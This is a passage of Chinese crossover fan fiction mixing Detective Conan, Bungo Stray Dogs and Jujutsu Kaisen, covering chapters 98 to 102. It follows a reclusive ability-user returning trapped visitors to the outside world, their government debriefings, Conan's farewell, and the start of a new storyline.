“不,”艾略特却是首次反驳了他,他拿起桌上的银茶壶,为自己倒了一杯茶水,注视着其中荡漾开的波纹道:“其实他们是知道我在哪里的。” 其他人一惊,艾略特接着说:“虽然觉醒异能力是意料外的事,但我还是在尽力将一切稳固下来后,向他们传递过去了一道消息。可惜,我无法在外界停留太久,所以那道消息,就只是几句话而已。” 在场几人都是脑筋转得飞快的人,柯南思考着他们话里的内容,很快就得出结论:“你是说你是在十年前觉醒了异能力,但之后就被困在了这里……” 艾略特忽然倾身,靠近过来的脸将柯南吓了一跳,瞧着他瞪大的眼,艾略特温柔一笑道:“不对,我可没有被困在这里哦。” 没管柯南的失态,他重新直起身来,目光深邃:“只是,刚觉醒的异能力可能没办法控制得那么好,若是我继续待在那里,造成的影响,”他平静道:“恐怕不是那么容易消除的。” 柯南愣愣地看着他,突然打了个寒颤。降谷零想起自己这几天里的一系列遭遇,心中也涌出了不尽的寒意,一旦那种没有限制的感染与变异铺展开来,不知会有多少的血肉搅入其中,就算有规则,多数人估计也没法将之利用起来。而若是外界无法阻止,这种能力,说是能改变世界也不为过! 这一下,降谷零看向艾略特的眼神也变了,那其中,是在看待一个超大型的天灾战略武器。 这些超越者,果然都不是什么简单的存在! 艾略特却是想起了很久以前的自己。 格罗佩斯家并不是一个很大的家族,它是拥有着非常悠久的历史,但到了他这一代,基本上就没留下什么东西。在他爷爷的那一辈,还曾听长辈们提起过过去辉煌的历史,但到了他出生的时候,他的父亲连家族姓氏代表着什么都不知道。与之相对应的,他们的家境也十分平常,与普通人没什么区别。 他们漂洋过海地来到海外,在艾略特幼时,他们已经在横滨市定居了,但当艾略特展现出了超出常人智慧的时候,有什么东西就悄然改变了。他的爷爷是一位非常古朽的老人,身形很瘦,皮肤耷拉在骨头上,像皱巴巴的纸,可当他看到他时,一瞬间浑浊的眼中就爆发出了璀璨的光,他开始想要将他的抚养权争夺过去,将他接去遥远的法国抚养。 他的父亲并不同意,那对夫妻和这位许久未见的老人爆发了前所未有的冲突,这冲突又包含了十多年前他在过去与那位老人有过的尖锐的争执与外出离家时的愤恨,他们口不择言地痛骂对方,将彼此视为最深的仇敌。 而就是在这种时候,他忽然失踪了。 他犹还记得,自己在初次觉醒出这种能力时的恐惧。他独自一人站在空无一人的异空间里,漫天的红色幻化成巨大的妖魔在狂笑,无尽的锁链将每一处的空间密密麻麻地锁住,只有他一个人,渺小如蝼蚁般仰望着它们。无边的孤寂与痛苦袭来。他下意识地想要逃出去,但一瞬后他就知道,他不能出去。 不是不能离开,而是不能带着它们离开。 如果这是他的异能力,他就不能让他们出去,伤害无辜的人。 时间开始快速地流逝,他在这片无声的空间中或站或坐,如果感到孤独了,就抱紧双膝安慰自己,如果感到痛苦了,就回忆过往学习到的东西;他带进来的书包渐渐变旧变小了,书本也化为纸张散落一地,有些被他折成了纸飞机;他的身形逐渐长开,过去的衣物也无法遮蔽住他的身体,翠绿的头发铺展开来,是这里唯一充满了生机的颜色。 他长大了。 可是好寂寞啊。 他不知道时间过去了多久,他只知道,它们不会让他在这里死去。于是,他开始用这股力量来改造这个空间,所以小镇诞生了,他想要有人来陪伴他,所以动物们出现了。他希望有一个家,所以小屋与花园出现了,还有过去妈妈给他买回来的八哥鸟,和那只曾陪伴过他一段时间的老黄狗。 他终于掌握住了它们,成为了这份力量的主人。 红色的妖魔依旧猖獗,金色的锁链依旧密织,但包含在其中的孩童已经长大了,他长成了青年人的形态,翠色的瞳孔中再不见恐惧,他赤足站在这里,一只手往上抬起,像是将它们都掌握在了手中。 宛如神祇降临。 这就是艾略特过去十多年的故事,没有什么跌宕起伏,也没有多少精彩纷呈的情节,只是偶尔的时候,他还会想一想,“若是没有了我,父亲和母亲会和爷爷和好吗?” 但他也管不了这些了,因为他知道,他们的矛盾并非全然由他而起。 “所以你是一个人在这里待了十年?!”柯南不可置信,尽管艾略特没有详细叙说,但前因后果他都没有略去,在场中人自然知道他经历了什么。就算是再警惕他的降谷零也感到胸口一闷,心情沉重。他知道人类的极限在哪里,尤其是当初的他,还是一个没长成的孩子。 异能力,异能力,得到异能力真的是一件好事吗?如果有人得到的异能力根本不是他想要的,得到的异能力不仅会给自己带来损伤,还会对身边的人造成伤害,又该怎么办? 柯南突然理解过来,为什么小镇中的居民都是动物,为什么小屋与花园里到处都充斥着童话风,为什么所有的建筑和设施多少都带着一股很多年前的风格,归根结底,当初塑造它们的人,他就是相信这些的啊! 太宰治也久久没有说话,他不知道该说什么。难怪外界没有这位超越者的信息,如果从未出现过,又有谁能够知晓他呢?他本能地不相信这世上有这样的人,可一想到他当初的年龄,又不得不相信。 反倒是当事人并没有觉得这有什么,他依旧是那么温和从容,带着得天独厚的优雅,他双手交叠在膝上道:“没关系,现在的我已经能控制住一部分能力了,否则的话,上次的时候我也不会出手。” 见到他们仍然神情复杂,他不由道:“这世上什么是不需要付出代价呢?得到这种异能力其实是很幸运的一件事不是吗?最起码,在最初的时候,它能够被限制在这里。” 一时沉静。太宰治笑着道:“看来您的失踪之谜终于是解决了。” 艾略特也笑了:“本就没有失踪。” 他站起身来,身姿修长,翠色的眼眸中恍有悲悯:“将你们卷入进来,也不是我的本意。或许是因为太希望有人陪伴了吧,所以在你们进来的第一刻,我没有将你们送回去。你们几人是其中最优秀的几位,那位没有到来的人,我也很欣赏他的纯粹自由,但就像鹤是归属于高天的一样,你们终不是归属于这里。” 他停顿了一下道:“我会将你们送出去,在这其中受到的感染和变异,我也会将之从你们身上剥离,不用担心会给自己和其他人造成影响。就当是做了一个梦吧,我会给予你们补偿的。” 这就是要送他们离开了。这本就是他们一直以来所求的,但真的到了这个时候,每个人的心情却又都复杂起来。大概是属于正义一方的人总想要拯救他人,柯南竟希望能改变这些,而降谷零则想到了自己在来之前接收到的命令,他忍不住开口:“等……” 艾略特没有等他说完,手中微光闪耀,几人便感到了被剥离之意。太宰治是最后一个离开的,在离去前,他冲着艾略特无声地吐出几句话,然后就笑着消失了。 只余下艾略特独自一人站在窗台后,眉宇清冷,看着屋外的茏葱树林,一如往昔时光。 “他发现了什么吗?”过了稍许,小屋中传来另一人的声音。 艾略特坐回到桌子旁,桌上摆放着一副黑白相间的国际象棋,对面的人拎起一颗棋子,素白的手指如玉修长。“咚。”他想了想,将之落在一处,含笑望着他。 艾略特面上浮出无限温柔之意:“他只是在问我,‘客人’到底是谁?” “哦,”对面人挑挑眉:“他猜到他们并不是‘客人’了?” 艾略特笑着道:“客人是受到尊敬优待的,是要用对待像我一样的方式去对待他的,很显然,他们并没有受到多大的尊重。” 对面人终于显露出身形,是天野鹤那张清俊的脸。裴真一手撑着面颊,一手拿起下一颗棋子,他看着自己的新的马甲道:“真是思维敏锐啊,你说,他有没有发现我和你之间的关系?” 看着他随意自然的姿态,艾略特的笑意加深:“他自然是没有发现,如果他要是发现了,他也就没办法从这里出去了。”他下了一枚棋子,吃掉了一颗白棋。 裴真唇角微勾,他轻声道:“是啊,你可是超越者,要是发现了,他就只能留下来了。” 最后一颗棋子落下,胜负已定。 第99章 回去的他们 那三人被送出去了, 但这并不代表着这件事就这般结束了。太宰治眼中一晕,待再醒来时,他发现自己不是在外界来时的巷子中, 也不是在之前的小屋中,而是在一处到处都是暗红色的不明之地里。 触目可及的全是红色,就像是俱被鲜血浸透了, 突出的岩石如獠牙般尖锐交错,散发出不详的红光。空气中弥漫着某种令人窒息的气息, 太宰治仅仅是待了一小会,就感到头晕目眩, 仿佛被诅咒了般难受。这里安静到能让人听见自己的心跳声。 太宰治还没来得及思考自己为何在此,就被眼前的一幕奇景吸引去了注意力。无数纷杂的暗红色丝线密密麻麻地交织在空中, 它们从各方延伸出, 像剧院的傀儡线一般, 将中心的猎物紧紧束缚住。它们绑住那道白色的身影,就像缚住一只无意闯入的柔弱蝴蝶,整幅场景充满了一种荒诞又惊奇的美, 让人不由为之驻足。 可很快太宰治就认出了中间的人是谁, 那本来就没有的同情更是完全不见, 他都忍不住笑出声来, 如果不是情况不允许,他甚至还想要将这幅场景拍下来, 然后在暗网中花大价钱售卖, 这样一来,想来原本就大名鼎鼎的空间系异能者尼古莱·果戈里的声名一定能更上一层楼吧? 这又何尝不是对“天人五衰”组织的一次应援呢?太宰治兴致勃勃地想。 “这就是闯进我空间里来的那个人, ”此时,太宰治的耳边又响起了刚刚分别前才听到的声音, 艾略特在他耳旁说:“实在是一位骄纵任性的客人啊,无缘无故地闯进别人的家门中来,不仅将一切弄得一团乱,还想要与我谈论‘自由’,”艾略特顿了下,又道:“我只能给予他一些惩罚了。” “您做得实在太对了!”太宰治立马夸赞起来,他对着虚空鞠了一躬道:“这类人就该这样对付他们,他们都是自有一套价值观的疯子,与之辩论只是徒耗精力,他们歪曲的信念已经扎根到心底了,任由他们肆虐只会伤害无数身边的人,就该被这样对待。” 艾略特没有因为太宰治的夸赞而产生什么波动,他轻声道:“我不想将他再留在这里,既然你是认识他的,那离开时就将他一起带走吧。” 太宰治眼中一亮,他面上现出欢悦的笑,他道:“这是自然的。” 这可真是,太好了! 他走近去瞧,只见眼前这位白衣的空间系异能者前所未有的憔悴,那些暗红的丝线将他的四肢、躯壳完全锁住,就连脖子上也缠绕着一根粗大的红线。仿佛被汲取了生命力,他面容瘦削,眼窝深陷,头颅歪在一边,如果不是胸口极细微的起伏,都以为这已经是一具干枯的尸体了。 突然,这具干枯的尸体微微睁开了眼来。 …… 自那两人走后,诊所中又恢复了一片安静,费奥多尔就好像真的是一位负责任的医生般,在药房中调配药物,等待着病人的上门,休息时喝下一杯加热的浓缩咖啡,偶尔也会望望窗外,看看其它的怪物。 “按照估计,他们也该见到他了吧,”费奥多尔在思考,“真是可惜,这里的主人没有要加入我们的意愿。” 在尼古莱蹲守在那里前,他就已经稍稍调查过那里,他是比太宰治更早要知道这里的主人是谁的。“真是奇特啊,明明失踪的时候,还是在上学的年纪,异能力带给他的,从始至终,都只有痛苦与分离,”他的眼珠转了转:“居然还能保持这样的心境。” 蛊惑的敌人是坚守,唯有心中有定海之针的人不可被动摇。他是想要说动这样的人加入天人五衰,有了这种可以侵染全世界人的能力,足以让异能成为全世界的灾难,这样……距离他心中的理想就可以更进一步了。 “可惜,居然是超越者,还是这样的超越者。”他面上没有表情,眼中晦涩莫测,他饮了一杯手中的咖啡,心中有无数的谋算划过。 在与此处相反的对面,也有人在相互告着别。那是一只高大挺拔的黑色的豹子和一只白色脸上绘有红纹的兔子。兔子看着黑豹没有说话。 黑豹…不,赤井秀一叹了口气:“没想到他们选择了另一条路。” 兔子安静道:“他们总是要过去的。” “可没必要这么惨,”虽是这样说着,赤井秀一也没有很惋惜,因为他知道,人都是有自己选择的,每个人的选择都是组成了自己人生的一部分,“在小镇中探索,也同样可以得到关键的线索,只要在最后踏入进去就好了,一场解谜的游戏,硬是被他们玩成了闯关冒险,也不知道他们是为了什么。” 红兔微微咧开嘴:“小镇同样有着极可怕的危险,‘规则’的威能并不比另一方小,他们能从红月的危险中逃出,或许在这里,他们就会被紧紧锁住,丧失掉逃脱的机会,谁又能说明他们做错了?” 赤井秀一摇了摇头:“我并不认为他们‘牺牲’掉一位同伴是值得的,除了那个公安,他们都不是武力派,在那里我也没能给予他们更多的帮助,除开警察局里边,我都没办法插手进去。” 他是友方,灰狼是极致的规则维护者,红兔是两方之间的平衡者(公正人),双方都有潜入到对面的存在,就像红月中是规则代言人亲自巡狩,小镇这里有老狐狸暗自潜伏。 这一次小队中有两个人运气太差了,降谷零观察了那么久,找到了老狐狸(扭曲间谍)的头上,太宰治则是第一晚就被规则发现,还受了伤。 “但到底这里的主人是仁慈的不是么?”红兔拿起一边的警棍,“让他们付出代价也可以重新拿回去。” 赤井秀一沉默了下,还是道:“那我呢,我到现在都还没有与他见面,我可以知道他是想要我做什么吗?还是说,是将我变个形象,然后困在这里?” 红兔瞧着他,饶有兴趣道:“你在这里生活了这些天,有没有发现这处的一个问题?” 赤井秀一没有回答。问题?这里哪里不是问题? 红兔叹了口气,她望向天空道:“这里太封闭了。” “一切都是源自他一人而来,没有新的东西生成,”红兔转过头来,认真看着他道:“就算是再博学的人也需要探寻新的知识,人的认知面是通过接触新的事物来扩展的,一味地暗自经营,只会生出腐朽。”更不要说,他还是在一个未曾长成的年纪过来的。 赤井秀一震惊:“你是说,我是他认识外界的渠道……” “不是你,是你们。”红兔解释起来:“这里需要成长,这里的主人也需要成长。他不需要接触你们,你们就像是记录了内容的一本本的书,他通过你们的视界,可以了解到外界的一切,当然,也是你们认知到的世界。他邀请过的人,并非你一人。” 那张请柬也并非是第一次送出,每一位接收者,都是有着非凡才能的人。 赤井秀一感情复杂,他攒紧了拳头,只觉着自己全身上下都被看透了。但很快,他就吐出口气来:“原来这才是我需要付出的代价。” 他闭了闭眼,强大的心理素质让他很快就接受了这一切,他甚至笑了出来:“希望我所经历的一切,能够让他有所启发,对这个世界有个全面正确的认识。” “如果可以,我建议,”他继而道:“你们以后邀请人,也要经过最严格的精挑细选才是。” 只有流动的水才能带来活力,原来如此,这里从来不是止步不前的。 “最后,”对着像是有什么事要去做的红兔,赤井秀一还是问了出来:“就算会违背规则,我还是想问,你从前,是人类吗?” 红兔止住了动作,她的心思仿佛一瞬间回去了那个暴风雨之夜,在那辆停下的列车旁,她倒在冰冷的岩石的土地上,在即将迎接死神到来的前一刻,她听见有人问她:“你想活下去吗?” 长濑花想活下去,于是红兔就此诞生了。 但她没有必要将这些说与这人听。她一言不发地离开了,只留下赤井秀一还在看着她的背影。 柯南和降谷零清醒了过来,还包括那为数众多的被卷入进去的无辜平民。警方早在事情发生后,就将这一片区域封锁了起来,降谷零很快就被叫去问话,只有柯南还披着毯子,坚持要留在这里等人。 等他看见天野鹤从一边的某处房屋中走出来时,他很高兴地就迎了上去。 这世上每一件事都会有它的结局,但有些事情,是仅仅依靠表面看不出的。就像一颗石子,落入湖中,沉入湖底不是结束,还有因它而起的层层波纹。暗流涌动才是另一面的真实。 太宰治重新出现在小巷中,身边还带着被打晕的果戈里。他刚一落地,见到的就是站在巷子口处的两个人影。一个是给他下了这个委托的孩子,还有另一个,是站在他身后,双手搭在他肩上的一位妇人。 这是位打扮得很优雅的夫人,她的眼眸是碧翠色的,正在与她的第二个孩子,一齐望向他。 “看来外面和那里面流逝的时间是一致的。”太宰治很快就得出了这个结论,并且,他也立刻就知道了,这位夫人与那位新的超越者之间的关系。 第100章 自囚于世外的圣人——艾略特·奥提兹姆·米瑟耶·格罗佩斯 “原来如此, ”在听完了太宰治尽量不充斥着个人感情、又略过一些可怕场景的叙说后,这位温和的夫人笑了。该怎么形容她面上的神情呢,思念与怅然糅合在一起, 便化为了她眼中的一丝晶莹,她抬起头,仰望着天空, 道:“我们早就知道啦。” “那是个神带来的孩子,那时离开, 不过是回到了神的身边而已。”这位夫人见到飞鸟一振翅飞远,她低下头来, 在胸前划了个十字:“都那么努力了,还在想办法为我们送回来消息。他一直是个聪明又善良的好孩子, 如果可以, 请你告诉他, 将自己照顾好,就是对我们最好的答复。” 太宰治认真回应道:“我会的,夫人。” 两位大人在这里交流, 却一致都忽略了他们一旁的另一个孩子, 直到一声“哇”的大哭声响起, 才让他们将目光移向了那里, 只见安德列用手使劲揉着眼睛,眼泪如滚珠落下道:“为什么, 凭什么哥哥要经历这些……” 他还不懂什么是超越者, 他只知道,孤独与寂寞是一件很难捱的事。 孩童嘹亮的哭声回荡在这个小巷中, 久久未能平息。 在又经历了一番劝慰后,太宰治将二人劝走, 没等多久,异能特务科的人很快就来了,有乱步在,太宰治失踪不多时,他就知道了他去了哪里。异能特务科是太宰治主动联系得他们。 果戈里很快就被带走了,他被送入了特制的监牢,里面限制他的东西比太宰治在那个猩红洞窟中看到的还要多,这大概是他最难以接受的一种处决方式吧。 坐在异能特务科的房间中,太宰治的对面是坂口安吾,种田山头火在一边旁听。“你是说你见到了一位新的超越者?”眼镜仔问。 “是的。”太宰治没有隐瞒,也隐瞒不了,四人中有一位是警官,那位阁下又未曾让他们缄口不言。 他讲述的东西太过让人心惊,坂口安吾几乎以为自己在听什么恐怖童话故事,太宰治的态度也很让人意外,他好像很欣赏那位超越者,哪怕讲到自己在里面遇险,也是一种带着愉悦的腔调。 直到最后面,坂口安吾才理解了他的心情。“……其实到了现在,很难说他与他的异能谁束缚住了谁,只能说,我们应该感谢他,没有在那种处境中疯狂,然后将一切带给其他人。他并不是绝对的善良,也不是邪恶,但观其所为,或许只有他,才是最适合这份异能力的人。” 坂口安吾深吸口气,他推了推眼镜,眼中思绪翻飞,他叹息道:“我没有办法想象,能有人在那种时候,就做下了那样的决定。” “这世上的人是参差的,有人在觉醒了一份最低级的异能力后烧杀抢掠,也有人在得到了很厉害的异能力后,觉察到了它的危险,选择了以自己为囚牢将其监禁,”一边的种田山头火显然经验更丰富些,他的语声也很复杂:“你不能说他不存在。” 太宰治微笑道:“他无疑是个天才,他觉醒异能力的时候只有十二岁,但那个时候的他,就已经有了自己成熟的人生观,有了自己自洽的逻辑,可以让自己在面对事情的时候,可以不陷入无穷无尽怀疑的漩涡,不会怨恨与过于悲痛,他的智慧不仅体会在思考方面,还体会在‘心’的方面。这是极为难得的。所以我说,除了他,没有人能比他更适合这份危险的能力。” 太宰治的话将那位超越者身上的光环展露了出来,坂口安吾与种田山头火都是具有强大思辨能力的人,他们同样也很赞同他的话。因为只要将十二岁的自己,代入到那种境况中去想一想,就能知道,做到这种地步是多么了不起。 坂口安吾用手中的笔敲了敲桌面,分析了一番这位在各国记载中从未出现过的超越者后,哪怕知道他再特别与可怕,秉承着自己政府人员的职责,他也还是要问…… “你是说我们有没有可能收拢他?”在另外的一边,降谷零也在公安的密闭的房间中接受着问询,在与太宰治说过一些相同又不同的话后,他神色古怪地听闻着自己面前人的问题。 “是的,”负责询问的是一位西装革履的人士,他看样子像是从某个高级部门特意下来的,他认真道:“这位阁下不是喜欢布置规则的游戏吗?我们可以派遣人去参加。像是那位与你一同进入的朋友的变异,我们也未必不能研究一番。我们将尽全力拉近与这位阁下间的关系,希望他能够更瞩意日本国。”窥见降谷零的脸色,他补充道:“当然,依据你所说的那位大人的性情,第一步我们会全部选用本国的犯罪者,那位被他送出来的很欣赏的朋友,我们也不会去打扰他……” 降谷零强自忍耐着自己的心情,面上的笑容愈发和煦起来。想来自己之前说过的那么多都白说了是吧?他努力平静道:“我觉的这是不可能发生的。” 男士沉默了下来。 “因为他之所以这么多年都不履尘世,就是为了不让那种力量影响到世间。”就算降谷零一开始不是很喜欢这位超越者,到了后面,他也不得不承认,他远远要比自己接触到的很多人都要来的高尚的多。他有着类神的悲悯,虽没有人的激情热烈,但也没有人的贪婪卑劣。他更像是神,而不是人。 “他坚持了那么久的东西,你凭什么认为他会为一群陌生人打破?”降谷零没有激动,但他字字句句都戳到了最关键的地方,“他不会理会你们的政治理念的,也不会理会一个国家。我热爱我的祖国,我不希望你们因此去触怒他。” 男士看了眼降谷零,这位卧底的忠诚早在很久前就被证实了,与之相比,他显得过分冷漠了:“他真的没有要接触外界的打算吗?那为何又要寄出请柬?他已经坚持了那么久,真的还想要继续坚持下去吗?被异能力束缚是一件很悲哀的事,我们为何不能帮助他……” 降谷零冷冷地打断了他:“他说他只掌握了力量的一部分,你们就真的信了?” 男士面色一紧,他赶忙问道:“你这是什么意思?” 降谷零停顿良久,才道:“我不认为他会在没有完全掌握住力量的时候,就将自己展现给外界所知,尤其是像我们这种的政府机构。” “还有,能够将一个人从变异的状态中彻底剥离出来,”降谷零歪头问:“你真的认为他对于这种力量没有完全的掌控力吗?” 大人们的谈话持续了很久,太宰治很快就从异能特务科中出来了,他还特意去听了好一阵果戈里的痛骂。与其说是痛骂,还不如说是发癫,这位白衣空间系的异能者,哪怕被束缚至此,也还没有忘记自己标志性的语气。 “不,不要这样,放过我~为什么,为什么要做这种残酷的事……”哭泣,“自由就那样不值一提吗?你我都只不过是上帝舞台上的小丑,为什么一直要躲在暗无一人的角落里,不与人共舞……让我来解放你吧,要么,你、你来解放我?” 太宰治可以肯定,经此一役,这家伙疯的程度更深了。 降谷零几天后也从公安部走了出来,在这两天里,他对于世界上异能者的事比前面许多年了解的都要多。他知道了常暗岛与七人的事,也知道了各国超越者的事,与此同时,他回望天空,黄昏的颜色绚烂一片,他也知道了,这世界丛林中的超越者中又多上了一人—— 他是,隔离人间的孤独者,异空间之主,规则与异化之王,自囚于世外的圣人,恒久长存的离人。 艾略特·奥提兹姆·米瑟耶·格罗佩斯。 裴真在经过这些后,以一位普通的无名的侦探的身份为各方所知,先不说它们的反应,首先出现反馈的,就是他那已经圆满了几度的光液融球。 +178,这是这几天里不停歇地涌入他的声望球中的数字,而后是毛利兰拉着毛利小五郎又来了一波,+90,看样子,这位女高中生对于他救了柯南这件事是真的很感激,小五郎也首次说要请他去酒席吃饭,如果是在动漫里,他估计已经成为服部平次这类的关键配角人物了。 因为不再那么关注每一丝声望值进项的缘故,裴真只注意到这次的总收入,包括在外马甲打拼出来的数量,这次他积攒了有912的光数,再加上之前还剩下的六抽,总数达到了1500左右。 是留下来抽一张白银卡,还是投入进去拼运气,裴真只是稍稍思索,就决定了是后者,因为迄今为止,他还没有直接抽出来一张白银的[身份]与[时装]卡,一发出货的概率太小了。 裴真最感到失望的是,为什么没有抽出黄金卡牌的固定值呢?如果金手指一直都没有这样的提示传来,那说明了[黄金]大概只有可能是出自两种渠道。 黄金成就点,类似于他初来时的【穿越者】成就,又或者是,单凭运气,直接从普卡池中抽! 而不论是哪一个,都意味着他很难得到第二张黄金卡。想着这些念头,裴真打了个哈欠,决定休息一段时间,顺便,将一些之前就准备做的事做了。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 100-110 第101章 柯学的离别 “天野鹤, 18岁,来自仙台的乡下,最后一位亲人奶奶也在不久前去世了, 天野青斋是他的爷爷,在米花町开着一家小侦探所,没有很出名, 经常接不到委托,但等他接手后, 这种情况稍稍改变了一些,因为他有一只很敏锐的猫, 擅长寻找失踪的同类。经历过的案件有‘名作家圆月夜之死’,与毛利小五郎是亲近的关系……” “江户川柯南……” “太宰治……” 经此之事, 裴真大概是在政府那边挂上名了, 在配合着做了些笔录询问后, 裴真就又重新回到了侦探社中,他看得出来,有些人不是不想做些什么, 而是不敢。能坐到那种位置的都不是蠢人, 自然知道哪些事能引起底色为正的人的不快。 更何况, 从之后的FBI那里得来了消息, 他们并不是没有机会再联系到那位超越者,又何必做些使他不喜的手段呢? 当然, 这或许也有赤井秀一在离开前, 艾略特传达过去警告的因由吧。 其实比起天野鹤,更不经查的是柯南, 他的身份才真的是后天插入系统中的,但到底日本政府最后还是什么也没做, 所以,这些小细节都没有被掀出来,他们又恢复了以往的生活。 艾略特也一样重回了宁静,小镇在他们离开后就进行了扩张,更多的规则与居民都进驻到了新的区域里,确实如降谷零所说,他对于自己的力量并没有无法掌控的情况。此身是由四张白银卡组合而成的,最后的那张升阶卡,将一切有可能出问题的情况都抹消了,纵使他的经历并非常人所能忍受,但他的心性,使得所有的孤独与寂寞,都成为了他向上的阶梯。 裴真若有所思。他看向自己在这一次中获得的成就。 【世界之外的怪谈】[白银成就] “你是否曾在午夜惊醒,惊觉现实与梦境之间的界限并非那样泾渭分明?你坠入梦中,嬉笑与戏谑在你耳边隐隐回响,你来到荒诞之境,见到伪人跳舞、幽影随行,娃娃在屋中尖叫,他们将鲜血涂满墙,将生命踩在脚底下,道德化为乌有,人类文明如琉璃般脆弱。在这里,规则将你层层环绕,你却要在它的镣铐下,寻找到希望的路。” “欢迎来到世界之外的异境,在这里,你会体会到一种迥异于现有社会秩序的刺激,你会接受到思维与身体上的双重考验,而在那之后,你就能明了祂的伟大。” 卡面是艾略特在小屋窗台下喝茶的场景,阳光从窗外照进来,外面是一簇簇姹紫嫣红的鲜花,他翠色的长发,他无暇的侧脸,还有他带着点微曲的长睫毛,都在这温暖的阳光中柔和成一片,他认真地端坐在那里,仿若神明临尘。 裴真想,这次虽然没有引发太大的动荡,却依旧能得到[白银]的成就点,大概是因为这次马甲的强度。他之存在本身,就是对世界格局的一次震动,若是他真的选择了哪一方,很有可能就会产生更为深远的影响。 裴真将之收了起来,他有预感,这张升阶卡可能很快就要用到。 ===== 时间就这样缓慢如蜗牛,又飞速似离箭一般过去了。如果说这之间有发生什么大事的话,那就是,一直寄居在毛利家的某位叫柯南的小学生,有一天将所有人都聚集了起来,告知了他要随着父母去国外读书的事。 乍一听到这样的消息,裴真惊讶中又带了点恍然。是啊,黑衣组织都被覆灭了,那个人也是时候回来了。倒是那几位小学生都哭得很伤心,少年侦探团中的核心离去了,这也代表着他们一段年少的时光过去了,他们现在还不太懂这种感觉,只觉着同伴的离开让他们很伤心。 裴真注意到小兰也流落下了不少眼泪珠子,让那个一直装模作样的伪小学生手忙脚乱了好一会。而在一切结束后,他又来到了他的面前。 露出与年龄不相符的复杂眼神,柯南注视着裴真道:“一直以来,我都要谢谢你,天野。” 他没有再喊他天野哥哥。 “谢什么?”裴真装糊涂。 柯南咧了咧嘴:“谢你接受我神童的说法。” 就算一开始他以为他真的用这种说法糊弄过去了,但到了后面,他在那个异空间中暴露的也太多了,一些动作也太过了,另外两个人怎么想的他不知道,但这个人从始至终都没有问过他什么。 “你不就是什么神童吗?”裴真疑惑地问。 柯南看着他,忽而就叹了口气,他走近过来,状似大人般拍了拍他的肩膀:“我本来想说,你这样的性格真不适合做侦探。” 裴真没有说话,柯南就坐在了他的旁边,“有些时候,我觉得你其实是一直游离在外的,你不参与不拒绝,属于你的事你会认真做好,不属于你的委托你就会一直看着。我查过了你从开业以来所有接过的案件,除开那些找猫的以外,其实你的任务完成率是百分之百,其中有一桩涉及到了杀人的案子,你也是在过去不久后就将之破解了。” “你其实,是一个拥有很强推理能力的人吧,只是你一直都不曾将它表现出来。”就像是他同他的父亲在电话里形容的那般,“他是一个惯会梳理自己的鹤羽,将亮闪闪的羽毛全部隐藏在灰羽下的特别的人。”柯南看向他。 裴真不置可否,他的眼神冷淡。 柯南就笑了,便如他的父亲在电话里教导他的那样:“如果有一个人有着天生如狼般的敏锐,和细密如狐般的推理能力,但他只是将之掩藏在羊般的沉默和鹤般的冷淡下,你认为他是为了什么呢?” 柯南咂舌:“你说的太夸张了吧?” 工藤优作笑了:“我只是举个例子而已。就像我觉得,在你经过的那个名作家长川右介的案子里,他所能做的,远远不止那些。” 柯南思索。 “或许不是他想做什么,而是那就是他的生活方式而已。”工藤优作说:“没有人规定另一个人一定要以什么方式去生活,社会筛选出来的,只是适合社会的。但不能说另一部分人是错的。有些人就是不喜欢交际,那是他的特点,没有其它意义。” 柯南想到这里,转过头来:“但在经历了那么多的事后,我觉得我也错了。” 裴真侧目看他。 “侦探从来没有什么适不适合,”他跳下来,意气风发道:“既然有像我……像工藤新一那样年轻有活力的侦探,那就有沉默寡言,一眼能看穿核心的另一种侦探,拿一种模式去套所有人,这世界远不止我眼前的一隅,我不该轻易下结论。” 裴真盯着他,他终是伸出手,在柯南伸出的手掌上拍了下:“在临走前,想要将积累的话都说完是吧?” 柯南笑得更为灿烂:“或许我很快就会以另一种姿态回来呢?” 这是柯南最后一次在众人面前出现,之后,便是很长一段时间没有听闻到他的消息了。柯南不在,米花町的罪案都仿佛少了很多,毛利小五郎多了许多时间来喝酒,来委托他的人变少了,小兰依旧是在照顾着她那不负责任的老爸,就连下面的咖啡厅都冷清了好多。 在无人注意到的时候,那位寄居在阿笠博士家的棕色头发的小女孩也在不知不觉中消失了,她离去时没有通知任何人,只有又失去了一位好友的小朋友们更为伤心了,元太都瘦了一些。 但紧接着,一则突如其来的消息将小兰从离别的情绪中炸了出来,那就是—— 工藤新一回来了! 媒体一下子炸开了锅,无数的访谈邀请了过来,记者们堵在他有可能出现的地方,那张俊秀的脸再次出现在各种的电台上,这一次的他依旧勃发向上,但与从前相比,少了那份得意洋洋。 “经历过这段时间的沉淀,我充分认识到……” “咔哒。”裴真将电视换了个台。见到自己的脸从电视台上消失,身边另一人大为急切道:“等等,接下来的是我构思了很久的发言,你去听一听呀!” 裴真抚额,他有些苦恼道:“你为什么认为我就可以接受那样的事?” 工藤新一面露无辜道:“可是其他的人是我早在之前就都认识的了,只有你,是只和柯南认识的,不将我是谁告诉你,难道还要我以工藤新一的身份,再和你认识一遍?” 他笑道:“我觉得那是没必要的功夫。反正黑衣组织都已经没有了,变小了的事也无所谓被人知道。只是我脸有些薄,所以不好意思告诉别人。”他用手指挠了挠脸,害羞道。 裴真摇了摇头,又换了个台。 电视台中,柳生明澈不知本体的处境,他也没有其它马甲那些各种各样的技能,对于他来说,吸引更多人的喜爱才是他所要做的事。多多出镜,为本体赚取声望值,就是他本职的工作。 他穿着一身黑色的皮夹克,领口敞开,露出内里的皮肤。短发凌乱地散落在额前,将他的眉眼衬得深邃又迷离,一只莹光闪闪的耳坠缀在他的耳垂上,微微晃动间,恍如给他披上了一层彩虹的光,让人不由自主地将目光落在他年轻英俊的脸上。 “砰。”有人从外面将门推开,公司的人将几个人带领进来,站在了他的面前。柳生明澈抬眼望去,这就是他这一次的队友了。 第102章 惊奇之行 咒灵, 是一种于人类负面情绪中诞生的怪物,他们怪异扭曲、狰狞强大,其中最可怖者, 被称为,特级咒灵。 …… 被带入电视台的是最近几位与他差不多时火起来的明星,柳生明澈认识的仅有一位, 是扮演一位脸上有火红花纹、惩奸除恶的侠女而为人所喜爱的御衣小桔子。她在其中有些无所适从,正在努力寻找与同伴们的相处之道。 这次的综艺是在之前就已经敲定好了的。柳生明澈给望川涉打去电话也没能取消这趟的行程。既然如此, 那就去呗,为了赚取声望, 一些事也是他这个身份该做的。 但一路上的境遇很糟糕。山间的环境本来就不好,他们过来的前几天还下了雨, 鞋子上都沾染了泥泞, 每个人都狼狈不堪。几人纷纷抱怨, 柳生明澈也皱紧了眉,让随行的导演一阵焦头烂额。 